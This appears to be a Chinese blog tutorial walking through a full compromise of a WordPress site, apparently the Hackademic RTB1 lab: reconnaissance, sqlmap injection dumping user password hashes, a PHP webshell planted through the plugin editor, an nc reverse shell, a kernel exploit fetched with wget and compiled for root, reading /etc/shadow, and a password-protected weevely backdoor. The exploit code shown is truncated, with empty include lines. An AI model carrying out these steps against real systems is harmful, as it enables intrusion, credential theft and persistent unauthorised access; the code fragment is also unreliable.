从信息收集到入侵提权(渗透测试基础总结)

本文将从最开始的信息收集开始讲述是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容:

1.渗透测试前的简单信息收集

2.sqlmap的使用

3.nmap的使用

4.nc反弹提权

5.linux系统的权限提升

6.backtrack 5(现在为kali)中渗透测试工具nikto和w3af的使用等

假设要入侵的网站域名为:hack-test.com

让我们用ping命令获取网站服务器的IP地址.

从信息收集到入侵提权(渗透测试基础总结)_第1张图片

获取了网站服务器的IP地址为:173.236.138.113

如果网站是托管的可能在同一服务器上有多个域名。寻找同一服务器上的其它网站,使用sameip.org.

从信息收集到入侵提权(渗透测试基础总结)_第2张图片

26 sites hosted on IP Address 173.236.138.113


173.236.138.113上有26个网站,为了攻破网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,抛开服务器上的其它网站,只针对你的网站来进行入侵检测。

  1. DNS records (A, NS, TXT, MX and SOA)
  2. Web Server Type (Apache, IIS, Tomcat)
  3. Registrar (the company that owns your domain)
  4. Your name, address, email and phone
  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
  6. Your server OS (Unix,Linux,Windows,Solaris)
  7. Your server open ports to internet (80, 443, 21, etc.)

开始找网站的DNS记录,用who.is来完成这一目标.

从信息收集到入侵提权(渗透测试基础总结)_第3张图片

发现DNS记录如下:

从信息收集到入侵提权(渗透测试基础总结)_第4张图片

来确定web服务器的类型:

从信息收集到入侵提权(渗透测试基础总结)_第5张图片

Web服务器是apache,接下来确定它的版本.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 从信息收集到入侵提权(渗透测试基础总结) - 第6张  | 阿德马Web安全 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 从信息收集到入侵提权(渗透测试基础总结) - 第7张  | 阿德马Web安全 1 Month: 2.0 3 Month: 3.7

接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.

从信息收集到入侵提权(渗透测试基础总结)_第6张图片

现在已经获取了网站域名的注册信息,包括重要信息等.

可以通过backtrack 5中的whatweb来获取网站服务器操作系统类型和服务器的版本.

从信息收集到入侵提权(渗透测试基础总结) - 第9张  | 阿德马Web安全

从信息收集到入侵提权(渗透测试基础总结) - 第10张  | 阿德马Web安全

发现网站使用了著名的php整站程序wordpress,服务器的的系统类型为Fedora Linux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Find services that run on server(查看服务器上运行的服务)

从信息收集到入侵提权(渗透测试基础总结)_第7张图片
2-Find server OS(查看操作系统版本)

从信息收集到入侵提权(渗透测试基础总结)_第8张图片
只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在已经收集了所有关于网站的重要信息, 接下来开始扫描寻找漏洞,比如:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.

接下来将使用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com

从信息收集到入侵提权(渗透测试基础总结)_第9张图片
也会用到Backtrack 5 (kali)中的W3AF 工具:

root@bt:/pentest/web/w3af# ./w3af_gui

从信息收集到入侵提权(渗透测试基础总结)_第10张图片

输入要检测的网站地址,选择完整的安全审计选项.

从信息收集到入侵提权(渗透测试基础总结)_第11张图片

稍等一会,你将会看到扫描结果.

从信息收集到入侵提权(渗透测试基础总结)_第12张图片

发现网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.来探讨SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

通过工具发现这个URL存在SQL注入,通过Sqlmap来检测这个url.

Using sqlmap with –u url

从信息收集到入侵提权(渗透测试基础总结) - 第17张  | 阿德马Web安全

过一会你会看到

从信息收集到入侵提权(渗透测试基础总结) - 第18张  | 阿德马Web安全

输入N按回车键继续

从信息收集到入侵提权(渗透测试基础总结) - 第19张  | 阿德马Web安全

发现网站存在mysql显错注入,mysql数据库版本是5.0. 通过加入参数”-dbs”来尝试采集数据库名.

 从信息收集到入侵提权(渗透测试基础总结) - 第20张  | 阿德马Web安全

从信息收集到入侵提权(渗透测试基础总结) - 第21张  | 阿德马Web安全

发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名

从信息收集到入侵提权(渗透测试基础总结) - 第22张  | 阿德马Web安全

从信息收集到入侵提权(渗透测试基础总结)_第13张图片

通过参数“-T wp_users –columns ”来查看wp_users表中的字段.

 从信息收集到入侵提权(渗透测试基础总结) - 第24张  | 阿德马Web安全

从信息收集到入侵提权(渗透测试基础总结)_第14张图片

接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”

从信息收集到入侵提权(渗透测试基础总结)_第15张图片

发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

从信息收集到入侵提权(渗透测试基础总结)_第16张图片

登陆wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件. 选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的php webshell.
 

从信息收集到入侵提权(渗透测试基础总结)_第17张图片

从信息收集到入侵提权(渗透测试基础总结)_第18张图片

Php webshell被解析了,可以控制网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

从信息收集到入侵提权(渗透测试基础总结) - 第30张  | 阿德马Web安全

然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.
 

从信息收集到入侵提权(渗透测试基础总结)_第19张图片

点击连接我们会看到
 

从信息收集到入侵提权(渗透测试基础总结) - 第32张  | 阿德马Web安全

 

接下来我们尝试执行一些命令:

id
 
uid=48(apache) gid=489(apache) groups=489(apache)
 (用来显示用户的id和组)

pwd
 
/var/www/html/Hackademic_RTB1/wp-content/plugins
 (显示服务器上当前的路径)

uname -a
 
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)

从信息收集到入侵提权(渗透测试基础总结)_第20张图片

现在知道:服务器的内核版本是2.6.31.5-127.fc12.1686,在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285
 
我们在nc shell上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
 
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

 
通过以上代码发现该exp是C语言开发的,需要将他编译成elf格式的,命令如下:
 
gcc roro.c –o roro
 
接下来执行编译好的exp
 
./roro

 

从信息收集到入侵提权(渗透测试基础总结)_第21张图片

 
执行完成之后我们输入id命令
 
id
 
我们发现我们已经是root权限了
 
uid=0(root) gid=0(root)

从信息收集到入侵提权(渗透测试基础总结) - 第35张  | 阿德马Web安全

 
现在我们可以查看/etc/shadow文件
cat /etc/shadow
 

从信息收集到入侵提权(渗透测试基础总结)_第22张图片

 
查看/etc/passwd 文件

cat /etc/passwd
 

从信息收集到入侵提权(渗透测试基础总结)_第23张图片

 
可以使用”john the ripper”工具破解所有用户的密码.需要在这个服务器上留下后门以方便在任何时候访问它.

用weevely制作一个php小马上传到服务器上.

1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely# ./main.py –
 
从信息收集到入侵提权(渗透测试基础总结)_第24张图片

2.用weevely创建一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

从信息收集到入侵提权(渗透测试基础总结) - 第39张  | 阿德马Web安全

接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

从信息收集到入侵提权(渗透测试基础总结)_第25张图片

 
测试hax.php后门

从信息收集到入侵提权(渗透测试基础总结)_第26张图片

 

你可能感兴趣的:(从信息收集到入侵提权(渗透测试基础总结))